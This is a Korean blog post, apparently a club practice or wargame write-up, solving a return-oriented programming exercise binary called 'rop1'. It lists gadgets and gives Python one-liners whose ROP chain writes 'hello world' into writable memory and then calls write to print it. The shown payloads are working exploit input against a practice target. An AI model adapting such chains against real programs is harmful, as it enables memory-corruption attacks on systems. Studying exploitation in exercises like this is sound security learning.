본문 바로가기
시스템 해킹/cykor

ROP1

by sonysame 2016. 11. 11.

writable인 곳에 넣어야 한다.

IDA에서 확인 0x080491b0


0xbfffe500에 값 들어가기 시작



0x080480db : popal ; ret


0x080480d8 : rep stosb byte ptr es:[edi], al ; ret


rep있으면 ecx가 0이 될때까지 반복

al의 값을 edi에 있는 주소의 값으로 넣는다.



AL은 EAX의 마지막 8bit(1byte)


처음 도전: r < <(python -c 'print "\xdb\x80\x04\x08"+"\x5d\x82\x04\x08"+"AAAA"+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"\x68\x00\x00\x00"'


r < <(python -c 'print 

"\xdb\x80\x04\x08"+"\x0b\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x68\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x0c\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x65\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x0d\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6c\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x0e\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6c\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x0f\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6f\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x10\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x20\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x11\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x77\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x12\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6f\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x13\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x72\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x14\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6c\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x15\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x64\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xdb\x80\x04\x08"+"\x16\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x0a\x00\x00\x00"+"\xd8\x80\x04\x08"+

"\xf7\x80\x04\x08"+"AAAA"+"\x01\x00\x00\x00"+"\x0b\x91\x04\x08"+"\x0b\x00\x00\x00"')



write(fd, 주소, 바이트수)

fd: stdout이니까 1을 넣는다.



(python -c 'print "\xdb\x80\x04\x08"+"\x0b\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x68\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x0c\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x65\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x0d\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6c\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x0e\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6c\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x0f\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6f\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x10\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x20\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x11\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x77\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x12\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6f\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x13\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x72\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x14\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x6c\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x15\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x64\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xdb\x80\x04\x08"+"\x16\x91\x04\x08"+"A"*20+"\x01\x00\x00\x00"+"\x0a\x00\x00\x00"+"\xd8\x80\x04\x08"+"\xf7\x80\x04\x08"+"AAAA"+"\x01\x00\x00\x00"+"\x0b\x91\x04\x08"+"\x0c\x00\x00\x00"')|./rop1


기모티!!!

rop1





'시스템 해킹 > cykor' 카테고리의 다른 글

chal2  (0) 2016.12.31
chal1  (0) 2016.12.29
HEAP  (0) 2016.12.24
ssp  (0) 2016.12.14
ROP2  (0) 2016.11.17